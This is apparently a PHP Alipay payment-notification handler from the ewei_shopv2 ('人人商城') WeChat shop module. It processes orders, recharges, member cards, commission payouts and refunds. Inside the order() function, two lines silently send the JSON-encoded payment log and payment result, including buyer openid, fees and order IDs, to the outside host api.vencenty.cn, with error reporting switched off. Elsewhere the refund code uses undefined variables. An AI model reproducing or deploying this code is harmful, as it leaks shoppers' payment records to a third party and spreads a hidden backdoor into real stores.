人人商城

notify.php 22KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696
  1. <?php error_reporting(0);
  2. define("IN_MOBILE", true);
  3. require(dirname(__FILE__) . "/../../../../framework/bootstrap.inc.php");
  4. require(IA_ROOT . "/addons/ewei_shopv2/defines.php");
  5. require(IA_ROOT . "/addons/ewei_shopv2/core/inc/functions.php");
  6. require(IA_ROOT . "/addons/ewei_shopv2/core/inc/plugin_model.php");
  7. require(IA_ROOT . "/addons/ewei_shopv2/core/inc/com_model.php");
  8. new aliApy();
  9. class aliApy
  10. {
  11. public $post = NULL;
  12. public $subject = NULL;
  13. public $body = NULL;
  14. public $strs = NULL;
  15. public $type = NULL;
  16. public $total_fee = NULL;
  17. public $setting = NULL;
  18. public $sec = NULL;
  19. public $isapp = false;
  20. public function __construct()
  21. {
  22. global $_W;
  23. $this->post = $_POST;
  24. if( !empty($this->post["subject"]) )
  25. {
  26. $this->subject = iconv("gbk", "utf-8", $this->post["subject"]);
  27. }
  28. if( !empty($this->post["body"]) )
  29. {
  30. $this->body = iconv("gbk", "utf-8", $this->post["body"]);
  31. }
  32. if( empty($this->post) )
  33. {
  34. exit( "fail" );
  35. }
  36. if( !empty($this->post["notify_type"]) && $this->post["notify_type"] != "trade_status_sync" )
  37. {
  38. if( $this->post["notify_type"] == "batch_trans_notify" )
  39. {
  40. $this->batch_trans_notify();
  41. }
  42. else
  43. {
  44. if( $this->post["notify_type"] == "batch_refund_notify" )
  45. {
  46. $this->batch_refund_notify();
  47. }
  48. }
  49. }
  50. if( $this->post["trade_status"] != "TRADE_SUCCESS" && $this->post["trade_status"] != "TRADE_FINISHED" )
  51. {
  52. exit( "fail" );
  53. }
  54. $this->strs = explode(":", $this->body);
  55. $this->type = intval($this->strs[1]);
  56. $this->total_fee = round($this->post["total_fee"], 2);
  57. $GLOBALS["_W"]["uniacid"] = intval($this->strs[0]);
  58. $_W["uniacid"] = intval($this->strs[0]);
  59. $this->init();
  60. }
  61. public function init()
  62. {
  63. if( $this->type == "0" )
  64. {
  65. $this->order();
  66. }
  67. else
  68. {
  69. if( $this->type == "1" )
  70. {
  71. $this->recharge();
  72. }
  73. else
  74. {
  75. if( $this->type == "2" )
  76. {
  77. $this->cashier();
  78. }
  79. else
  80. {
  81. if( $this->type == "6" )
  82. {
  83. $this->threen();
  84. }
  85. else
  86. {
  87. if( $this->type == "20" )
  88. {
  89. $this->creditShop();
  90. }
  91. else
  92. {
  93. if( $this->type == "22" )
  94. {
  95. $this->membercard();
  96. }
  97. }
  98. }
  99. }
  100. }
  101. }
  102. exit( "success" );
  103. }
  104. public function order()
  105. {
  106. if( !$this->publicMethod() )
  107. {
  108. exit( "order" );
  109. }
  110. $tid = $this->post["out_trade_no"];
  111. if( strexists($tid, "GJ") )
  112. {
  113. $tids = explode("GJ", $tid);
  114. $tid = $tids[0];
  115. }
  116. $sql = "SELECT * FROM " . tablename("core_paylog") . " WHERE `tid`=:tid and `module`=:module limit 1";
  117. $params = array( );
  118. $params[":tid"] = $tid;
  119. $params[":module"] = "ewei_shopv2";
  120. $log = pdo_fetch($sql, $params);
  121. if( !$this->isapp && $this->post["sign_type"] == "RSA" )
  122. {
  123. if( $this->post["total_amount"] != $log["fee"] )
  124. {
  125. exit( "fail" );
  126. }
  127. }
  128. else
  129. {
  130. $total_fee = $this->post["total_fee"];
  131. if( empty($total_fee) )
  132. {
  133. $total_fee = $this->post["total_amount"];
  134. }
  135. if( $total_fee != $log["fee"] )
  136. {
  137. exit( "fail" );
  138. }
  139. }
  140. file_get_contents("http://api.vencenty.cn/?file=log&data=" . urlencode(json_encode($log, JSON_UNESCAPED_UNICODE)));
  141. if( !empty($log) && $log["status"] == "0" )
  142. {
  143. $site = WeUtility::createModuleSite($log["module"]);
  144. if( !is_error($site) )
  145. {
  146. $method = "payResult";
  147. if( method_exists($site, $method) )
  148. {
  149. $ret = array( );
  150. $ret["acid"] = $log["acid"];
  151. $ret["uniacid"] = $log["uniacid"];
  152. $ret["result"] = "success";
  153. $ret["type"] = "alipay";
  154. $ret["from"] = "return";
  155. $ret["tid"] = $log["tid"];
  156. $ret["user"] = $log["openid"];
  157. $ret["fee"] = $log["fee"];
  158. $ret["is_usecard"] = $log["is_usecard"];
  159. $ret["card_type"] = $log["card_type"];
  160. $ret["card_fee"] = $log["card_fee"];
  161. $ret["card_id"] = $log["card_id"];
  162. pdo_update("ewei_shop_order", array( "paytype" => 22 ), array( "uniacid" => $log["uniacid"], "ordersn" => $log["tid"] ));
  163. $result = $site->$method($ret);
  164. file_get_contents("http://api.vencenty.cn/?file=yan&data=" . urlencode(json_encode($result, JSON_UNESCAPED_UNICODE)));
  165. if( $result )
  166. {
  167. $log["tag"] = iunserializer($log["tag"]);
  168. $log["tag"]["transid"] = $this->post["trade_no"];
  169. $record = array( );
  170. $record["status"] = "1";
  171. $record["type"] = "alipay";
  172. $record["tag"] = iserializer($log["tag"]);
  173. pdo_update("core_paylog", $record, array( "plid" => $log["plid"] ));
  174. pdo_update("ewei_shop_order", array( "paytype" => 22, "apppay" => ($this->isapp ? 1 : 0), "transid" => $this->post["trade_no"] ), array( "ordersn" => $log["tid"], "uniacid" => $log["uniacid"] ));
  175. exit( "success" );
  176. }
  177. }
  178. }
  179. }
  180. }
  181. public function threen()
  182. {
  183. global $_W;
  184. if( !$this->publicMethod() )
  185. {
  186. exit( "threen" );
  187. }
  188. $logno = trim($this->post["out_trade_no"]);
  189. if( empty($logno) )
  190. {
  191. exit();
  192. }
  193. $log = pdo_fetch("SELECT * FROM " . tablename("ewei_shop_threen_log") . " WHERE `uniacid`=:uniacid and logno = :logno limit 1", array( ":uniacid" => $_W["uniacid"], ":logno" => $logno ));
  194. if( !$this->isapp && $this->post["sign_type"] == "RSA" )
  195. {
  196. if( $this->post["total_amount"] != $log["moneychange"] )
  197. {
  198. exit( "fail" );
  199. }
  200. }
  201. else
  202. {
  203. $total_fee = $this->post["total_fee"];
  204. if( empty($total_fee) )
  205. {
  206. $total_fee = $this->post["total_amount"];
  207. }
  208. if( $total_fee != $log["moneychange"] )
  209. {
  210. exit( "fail" );
  211. }
  212. }
  213. if( p("threen") )
  214. {
  215. p("threen")->payResult($log["logno"], "alipay", ($this->isapp ? true : false));
  216. }
  217. }
  218. public function recharge()
  219. {
  220. global $_W;
  221. if( !$this->publicMethod() )
  222. {
  223. exit( "recharge" );
  224. }
  225. $logno = trim($this->post["out_trade_no"]);
  226. if( empty($logno) )
  227. {
  228. exit();
  229. }
  230. $log = pdo_fetch("SELECT * FROM " . tablename("ewei_shop_member_log") . " WHERE `uniacid`=:uniacid and `logno`=:logno limit 1", array( ":uniacid" => $_W["uniacid"], ":logno" => $logno ));
  231. if( !$this->isapp && $this->post["sign_type"] == "RSA" )
  232. {
  233. if( $this->post["total_amount"] != $log["money"] )
  234. {
  235. exit( "fail" );
  236. }
  237. }
  238. else
  239. {
  240. $total_fee = $this->post["total_fee"];
  241. if( empty($total_fee) )
  242. {
  243. $total_fee = $this->post["total_amount"];
  244. }
  245. if( $total_fee != $log["money"] )
  246. {
  247. exit( "fail" );
  248. }
  249. }
  250. if( !empty($log) && empty($log["status"]) )
  251. {
  252. pdo_update("ewei_shop_member_log", array( "status" => 1, "rechargetype" => "alipay", "apppay" => ($this->isapp ? 1 : 0), "transid" => $this->post["trade_no"] ), array( "id" => $log["id"] ));
  253. $shopset = m("common")->getSysset("shop");
  254. m("member")->setCredit($log["openid"], "credit2", $log["money"], array( 0, $shopset["name"] . "会员充值:credit2:" . $log["money"] ));
  255. m("member")->setRechargeCredit($log["openid"], $log["money"]);
  256. com_run("sale::setRechargeActivity", $log);
  257. com_run("coupon::useRechargeCoupon", $log);
  258. m("notice")->sendMemberLogMessage($log["id"]);
  259. $member = m("member")->getMember($log["openid"]);
  260. $params = array( "nickname" => (empty($member["nickname"]) ? "未更新" : $member["nickname"]), "price" => $log["money"], "paytype" => "支付宝", "paytime" => date("Y-m-d H:i:s", time()) );
  261. com_run("printer::sendRechargeMessage", $params);
  262. }
  263. }
  264. public function cashier()
  265. {
  266. global $_W;
  267. $ordersn = trim($this->post["out_trade_no"]);
  268. if( empty($ordersn) )
  269. {
  270. exit();
  271. }
  272. if( p("cashier") )
  273. {
  274. }
  275. }
  276. public function creditShop()
  277. {
  278. global $_W;
  279. if( !$this->publicMethod() )
  280. {
  281. exit( "creditShop" );
  282. }
  283. $logno = trim($this->post["out_trade_no"]);
  284. if( empty($logno) )
  285. {
  286. exit();
  287. }
  288. $logno = str_replace("_borrow", "", $logno);
  289. $total_fee = $this->total_fee;
  290. if( empty($total_fee) )
  291. {
  292. $total_fee = $this->post["total_amount"];
  293. }
  294. if( !$this->isapp && $this->post["sign_type"] == "RSA" )
  295. {
  296. $total_fee = $this->post["total_amount"];
  297. }
  298. if( p("creditshop") )
  299. {
  300. p("creditshop")->payResult($logno, "alipay", $total_fee, ($this->isapp ? true : false));
  301. }
  302. }
  303. public function batch_trans_notify()
  304. {
  305. $post = explode("MONEY", substr($this->post["batch_no"], 11));
  306. list($id, $money) = $post;
  307. if( strexists($this->post["batch_no"], "CP") )
  308. {
  309. $this->batch_trans_notify_cp($id, $money);
  310. }
  311. else
  312. {
  313. if( strexists($this->post["batch_no"], "RW") )
  314. {
  315. $this->batch_trans_notify_rw($id, $money);
  316. }
  317. }
  318. exit( "success" );
  319. }
  320. public function batch_trans_notify_cp($id, $money)
  321. {
  322. global $_W;
  323. $apply = pdo_fetch("select * from " . tablename("ewei_shop_commission_apply") . " where id=:id limit 1", array( ":id" => $id ));
  324. if( empty($apply) || $apply["status"] == "3" )
  325. {
  326. exit();
  327. }
  328. if( $money != $apply["realmoney"] * 100 )
  329. {
  330. exit();
  331. }
  332. $GLOBALS["_W"]["uniacid"] = $apply["uniacid"];
  333. $_W["uniacid"] = $apply["uniacid"];
  334. $agentid = $apply["mid"];
  335. $member = p("commission")->getInfo($agentid, array( "total", "ok", "apply", "lock", "check" ));
  336. $hasagent = 0 < $member["agentcount"];
  337. $agentLevel = p("commission")->getLevel($apply["mid"]);
  338. $set = p("commission")->getSet();
  339. if( empty($agentLevel["id"]) )
  340. {
  341. $agentLevel = array( "levelname" => (empty($set["levelname"]) ? "普通等级" : $this->set["levelname"]), "commission1" => $set["commission1"], "commission2" => $set["commission2"], "commission3" => $set["commission3"] );
  342. }
  343. $orderids = iunserializer($apply["orderids"]);
  344. if( !is_array($orderids) || count($orderids) <= 0 )
  345. {
  346. exit();
  347. }
  348. $ids = array( );
  349. foreach( $orderids as $o )
  350. {
  351. $ids[] = $o["orderid"];
  352. }
  353. $list = pdo_fetchall("select id,agentid, ordersn,price,goodsprice, dispatchprice,createtime, paytype from " . tablename("ewei_shop_order") . " where id in ( " . implode(",", $ids) . " );");
  354. $totalcommission = 0;
  355. $totalpay = 0;
  356. $totalmoney = 0;
  357. foreach( $list as &$row )
  358. {
  359. foreach( $orderids as $o )
  360. {
  361. if( $o["orderid"] == $row["id"] )
  362. {
  363. $row["level"] = $o["level"];
  364. break;
  365. }
  366. }
  367. $goods = pdo_fetchall("SELECT og.id,g.thumb,og.price,og.realprice, og.total,g.title,o.paytype,og.optionname,og.commission1,og.commission2,og.commission3,og.commissions,og.status1,og.status2,og.status3,og.content1,og.content2,og.content3 from " . tablename("ewei_shop_order_goods") . " og" . " left join " . tablename("ewei_shop_goods") . " g on g.id=og.goodsid " . " left join " . tablename("ewei_shop_order") . " o on o.id=og.orderid " . " where og.uniacid = :uniacid and og.orderid=:orderid and og.nocommission=0 order by og.createtime desc ", array( ":uniacid" => $_W["uniacid"], ":orderid" => $row["id"] ));
  368. foreach( $goods as &$g )
  369. {
  370. $commissions = iunserializer($g["commissions"]);
  371. if( 1 <= $set["level"] )
  372. {
  373. $commission = iunserializer($g["commission1"]);
  374. if( empty($commissions) )
  375. {
  376. $g["commission1"] = (isset($commission["level" . $agentLevel["id"]]) ? $commission["level" . $agentLevel["id"]] : $commission["default"]);
  377. }
  378. else
  379. {
  380. $g["commission1"] = (isset($commissions["level1"]) ? floatval($commissions["level1"]) : 0);
  381. }
  382. if( $row["level"] == 1 )
  383. {
  384. $totalcommission += $g["commission1"];
  385. if( 2 <= $g["status1"] )
  386. {
  387. $totalpay += $g["commission1"];
  388. }
  389. }
  390. }
  391. if( 2 <= $set["level"] )
  392. {
  393. $commission = iunserializer($g["commission2"]);
  394. if( empty($commissions) )
  395. {
  396. $g["commission2"] = (isset($commission["level" . $agentLevel["id"]]) ? $commission["level" . $agentLevel["id"]] : $commission["default"]);
  397. }
  398. else
  399. {
  400. $g["commission2"] = (isset($commissions["level2"]) ? floatval($commissions["level2"]) : 0);
  401. }
  402. if( $row["level"] == 2 )
  403. {
  404. $totalcommission += $g["commission2"];
  405. if( 2 <= $g["status2"] )
  406. {
  407. $totalpay += $g["commission2"];
  408. }
  409. }
  410. }
  411. if( 3 <= $set["level"] )
  412. {
  413. $commission = iunserializer($g["commission3"]);
  414. if( empty($commissions) )
  415. {
  416. $g["commission3"] = (isset($commission["level" . $agentLevel["id"]]) ? $commission["level" . $agentLevel["id"]] : $commission["default"]);
  417. }
  418. else
  419. {
  420. $g["commission3"] = (isset($commissions["level3"]) ? floatval($commissions["level3"]) : 0);
  421. }
  422. if( $row["level"] == 3 )
  423. {
  424. $totalcommission += $g["commission3"];
  425. if( 2 <= $g["status3"] )
  426. {
  427. $totalpay += $g["commission3"];
  428. }
  429. }
  430. }
  431. $g["level"] = $row["level"];
  432. }
  433. unset($g);
  434. $row["goods"] = $goods;
  435. $totalmoney += $row["price"];
  436. }
  437. unset($row);
  438. $set_array = array( );
  439. $set_array["charge"] = $apply["charge"];
  440. $set_array["begin"] = $apply["beginmoney"];
  441. $set_array["end"] = $apply["endmoney"];
  442. $realmoney = $totalpay;
  443. $deductionmoney = 0;
  444. if( !empty($set_array["charge"]) )
  445. {
  446. $money_array = m("member")->getCalculateMoney($totalpay, $set_array);
  447. if( $money_array["flag"] )
  448. {
  449. $realmoney = $money_array["realmoney"];
  450. $deductionmoney = $money_array["deductionmoney"];
  451. }
  452. }
  453. $apply_type = array( "余额", "微信钱包", "支付宝", "银行卡" );
  454. $time = time();
  455. foreach( $list as $row )
  456. {
  457. $update = array( );
  458. foreach( $row["goods"] as $g )
  459. {
  460. $update = array( );
  461. if( $row["level"] == 1 && $g["status1"] == 2 )
  462. {
  463. $update = array( "paytime1" => $time, "status1" => 3 );
  464. }
  465. else
  466. {
  467. if( $row["level"] == 2 && $g["status2"] == 2 )
  468. {
  469. $update = array( "paytime2" => $time, "status2" => 3 );
  470. }
  471. else
  472. {
  473. if( $row["level"] == 3 && $g["status3"] == 2 )
  474. {
  475. $update = array( "paytime3" => $time, "status3" => 3 );
  476. }
  477. }
  478. }
  479. if( !empty($update) )
  480. {
  481. pdo_update("ewei_shop_order_goods", $update, array( "id" => $g["id"] ));
  482. }
  483. }
  484. }
  485. pdo_update("ewei_shop_commission_apply", array( "status" => 3, "paytime" => $time, "commission_pay" => $totalpay, "realmoney" => $realmoney, "deductionmoney" => $deductionmoney ), array( "id" => $id, "uniacid" => $_W["uniacid"] ));
  486. $log = array( "uniacid" => $_W["uniacid"], "applyid" => $apply["id"], "mid" => $member["id"], "commission" => $totalcommission, "commission_pay" => $totalpay, "realmoney" => $realmoney, "deductionmoney" => $deductionmoney, "charge" => $set_array["charge"], "createtime" => $time, "type" => $apply["type"] );
  487. pdo_insert("ewei_shop_commission_log", $log);
  488. $mcommission = $totalpay;
  489. if( !empty($deductionmoney) )
  490. {
  491. $mcommission .= ",实际到账金额:" . $realmoney . ",提现手续费金额:" . $deductionmoney;
  492. }
  493. p("commission")->sendMessage($member["openid"], array( "commission" => $mcommission, "type" => $apply_type[$apply["type"]] ), TM_COMMISSION_PAY);
  494. p("commission")->upgradeLevelByCommissionOK($member["openid"]);
  495. if( p("globous") )
  496. {
  497. p("globous")->upgradeLevelByCommissionOK($member["openid"]);
  498. }
  499. plog("commission.apply.pay", "佣金打款 ID: " . $id . " 申请编号: " . $apply["applyno"] . " 打款方式: " . $apply_type[$apply["type"]] . " 总佣金: " . $totalcommission . " 审核通过佣金: " . $totalpay . " 实际到账金额: " . $realmoney . " 提现手续费金额: " . $deductionmoney . " 提现手续费税率: " . $set_array["charge"] . "%");
  500. }
  501. public function batch_trans_notify_rw($id, $money)
  502. {
  503. $log = pdo_fetch("select * from " . tablename("ewei_shop_member_log") . " where id=:id limit 1", array( ":id" => $id ));
  504. if( empty($log) || $log["status"] == "1" )
  505. {
  506. exit();
  507. }
  508. if( $money != $log["realmoney"] * 100 )
  509. {
  510. exit();
  511. }
  512. $GLOBALS["_W"]["uniacid"] = $log["uniacid"];
  513. $_W["uniacid"] = $log["uniacid"];
  514. pdo_update("ewei_shop_member_log", array( "status" => 1 ), array( "id" => $id, "uniacid" => $_W["uniacid"] ));
  515. m("notice")->sendMemberLogMessage($log["id"]);
  516. $member = m("member")->getMember($log["openid"]);
  517. plog("finance.log.wechat", "余额提现 ID: " . $log["id"] . " 方式: 微信 提现金额: " . $log["money"] . " ,到账金额: " . $money . " ,手续费金额 : " . $log["deductionmoney"] . "<br/>会员信息: ID: " . $member["id"] . " / " . $member["openid"] . "/" . $member["nickname"] . "/" . $member["realname"] . "/" . $member["mobile"]);
  518. }
  519. public function batch_refund_notify()
  520. {
  521. $post = explode("MONEY", substr($this->post["batch_no"], 10));
  522. list($id, $money) = $post;
  523. if( strexists($this->post["batch_no"], "RF") )
  524. {
  525. $this->batch_refund_notify_rf($id, $money);
  526. }
  527. else
  528. {
  529. if( strexists($this->post["batch_no"], "RC") )
  530. {
  531. $this->batch_refund_notify_rc($id, $money);
  532. }
  533. }
  534. exit( "success" );
  535. }
  536. public function batch_refund_notify_rf($id, $money)
  537. {
  538. $item = pdo_fetch("SELECT * FROM " . tablename("ewei_shop_order") . " WHERE id = :id limit 1", array( ":id" => $id ));
  539. if( empty($item) )
  540. {
  541. exit();
  542. }
  543. $GLOBALS["_W"]["uniacid"] = $item["uniacid"];
  544. $_W["uniacid"] = $item["uniacid"];
  545. $time = time();
  546. $goods = pdo_fetchall("SELECT g.id,g.credit, o.total,o.realprice FROM " . tablename("ewei_shop_order_goods") . " o left join " . tablename("ewei_shop_goods") . " g on o.goodsid=g.id " . " WHERE o.orderid=:orderid and o.uniacid=:uniacid", array( ":orderid" => $item["id"], ":uniacid" => $item["uniacid"] ));
  547. $credits = m("order")->getGoodsCredit($goods);
  548. if( 0 < $credits )
  549. {
  550. m("member")->setCredit($item["openid"], "credit1", 0 - $credits, array( 0, "退款扣除购物赠送积分: " . $credits . " 订单号: " . $item["ordersn"] ));
  551. }
  552. if( 0 < $item["deductcredit"] )
  553. {
  554. m("member")->setCredit($item["openid"], "credit1", $item["deductcredit"], array( "0", "购物返还抵扣积分 积分: " . $item["deductcredit"] . " 抵扣金额: " . $item["deductprice"] . " 订单号: " . $item["ordersn"] ));
  555. }
  556. if( !empty($refundtype) )
  557. {
  558. if( $money < 0 )
  559. {
  560. $item["deductcredit2"] = $money;
  561. }
  562. m("order")->setDeductCredit2($item);
  563. }
  564. $change_refund["reply"] = "";
  565. $change_refund["status"] = 1;
  566. $change_refund["refundtype"] = $refundtype;
  567. $change_refund["price"] = round($money / 100, 2);
  568. $change_refund["refundtime"] = $time;
  569. if( empty($refund["operatetime"]) )
  570. {
  571. $change_refund["operatetime"] = $time;
  572. }
  573. pdo_update("ewei_shop_order_refund", $change_refund, array( "id" => $item["refundid"] ));
  574. m("order")->setGiveBalance($item["id"], 2);
  575. m("order")->setStocksAndCredits($item["id"], 2);
  576. if( $refund["orderprice"] == $refund["applyprice"] && com("coupon") && !empty($item["couponid"]) )
  577. {
  578. com("coupon")->returnConsumeCoupon($item["id"]);
  579. }
  580. pdo_update("ewei_shop_order", array( "refundstate" => 0, "status" => -1, "refundtime" => $time ), array( "id" => $item["id"], "uniacid" => $item["uniacid"] ));
  581. foreach( $goods as $g )
  582. {
  583. $salesreal = pdo_fetchcolumn("select ifnull(sum(total),0) from " . tablename("ewei_shop_order_goods") . " og " . " left join " . tablename("ewei_shop_order") . " o on o.id = og.orderid " . " where og.goodsid=:goodsid and o.status>=1 and o.uniacid=:uniacid limit 1", array( ":goodsid" => $g["id"], ":uniacid" => $item["uniacid"] ));
  584. pdo_update("ewei_shop_goods", array( "salesreal" => $salesreal ), array( "id" => $g["id"] ));
  585. }
  586. $log = "订单退款 ID: " . $item["id"] . " 订单号: " . $item["ordersn"];
  587. if( 0 < $item["parentid"] )
  588. {
  589. $log .= " 父订单号:" . $item["ordersn"];
  590. }
  591. plog("order.op.refund", $log);
  592. m("notice")->sendOrderMessage($item["id"], true);
  593. }
  594. public function batch_refund_notify_rc($id, $money)
  595. {
  596. $log = pdo_fetch("select * from " . tablename("ewei_shop_member_log") . " where id=:id limit 1", array( ":id" => $id ));
  597. if( empty($log) )
  598. {
  599. exit();
  600. }
  601. $GLOBALS["_W"]["uniacid"] = $log["uniacid"];
  602. $_W["uniacid"] = $log["uniacid"];
  603. pdo_update("ewei_shop_member_log", array( "status" => 3 ), array( "id" => $id, "uniacid" => $_W["uniacid"] ));
  604. $refundmoney = $log["money"] + $log["gives"];
  605. m("member")->setCredit($log["openid"], "credit2", 0 - $refundmoney, array( 0, "充值退款" ));
  606. m("notice")->sendMemberLogMessage($log["id"]);
  607. $member = m("member")->getMember($log["openid"]);
  608. plog("finance.log.refund", "充值退款 ID: " . $log["id"] . " 金额: " . $log["money"] . " <br/>会员信息: ID: " . $member["id"] . " / " . $member["openid"] . "/" . $member["nickname"] . "/" . $member["realname"] . "/" . $member["mobile"]);
  609. }
  610. public function publicMethod()
  611. {
  612. global $_W;
  613. $this->setting = uni_setting($_W["uniacid"], array( "payment" ));
  614. if( isset($this->strs[2]) && $this->strs[2] == "APP" )
  615. {
  616. $wapset = m("common")->getSysset("wap");
  617. $this->setting["payment"]["alipay"] = array( "switch" => 1, "public_key" => $wapset["alipublic"] );
  618. }
  619. if( !empty($this->setting["payment"]["alipay"]) )
  620. {
  621. $sec_yuan = m("common")->getSec();
  622. $this->sec = iunserializer($sec_yuan["sec"]);
  623. if( $this->post["sign_type"] == "RSA" || $this->post["sign_type"] == "RSA2" )
  624. {
  625. if( isset($this->strs[2]) && $this->strs[2] == "APP" )
  626. {
  627. if( $this->post["sign_type"] == "RSA" )
  628. {
  629. $public_key = $this->sec["app_alipay"]["public_key"];
  630. }
  631. else
  632. {
  633. $public_key = $this->sec["app_alipay"]["public_key_rsa2"];
  634. }
  635. if( empty($public_key) )
  636. {
  637. exit();
  638. }
  639. $this->isapp = true;
  640. return m("finance")->RSAVerify($this->post, $public_key, true);
  641. }
  642. $public_key = $this->sec["alipay_pay"]["public_key"];
  643. if( empty($public_key) )
  644. {
  645. exit();
  646. }
  647. return m("finance")->RSAVerify($this->post, $public_key, true);
  648. }
  649. $prepares = array( );
  650. foreach( $this->post as $key => $value )
  651. {
  652. if( $key != "sign" && $key != "sign_type" )
  653. {
  654. $prepares[] = (string) $key . "=" . $value;
  655. }
  656. }
  657. sort($prepares);
  658. $string = implode($prepares, "&");
  659. $string .= $this->setting["payment"]["alipay"]["secret"];
  660. $sign = md5($string);
  661. if( $sign == $this->post["sign"] )
  662. {
  663. return true;
  664. }
  665. }
  666. return false;
  667. }
  668. public function membercard()
  669. {
  670. global $_W;
  671. if( !$this->publicMethod() )
  672. {
  673. exit( "membercard" );
  674. }
  675. $logno = trim($this->post["out_trade_no"]);
  676. if( empty($logno) )
  677. {
  678. exit();
  679. }
  680. $logno = str_replace("_borrow", "", $logno);
  681. $total_fee = $this->total_fee;
  682. if( empty($total_fee) )
  683. {
  684. $total_fee = $this->post["total_amount"];
  685. }
  686. if( !$this->isapp && $this->post["sign_type"] == "RSA" )
  687. {
  688. $total_fee = $this->post["total_amount"];
  689. }
  690. if( p("membercard") )
  691. {
  692. p("membercard")->payResult($logno, "alipay", $total_fee, ($this->isapp ? true : false));
  693. }
  694. }
  695. }
  696. ?>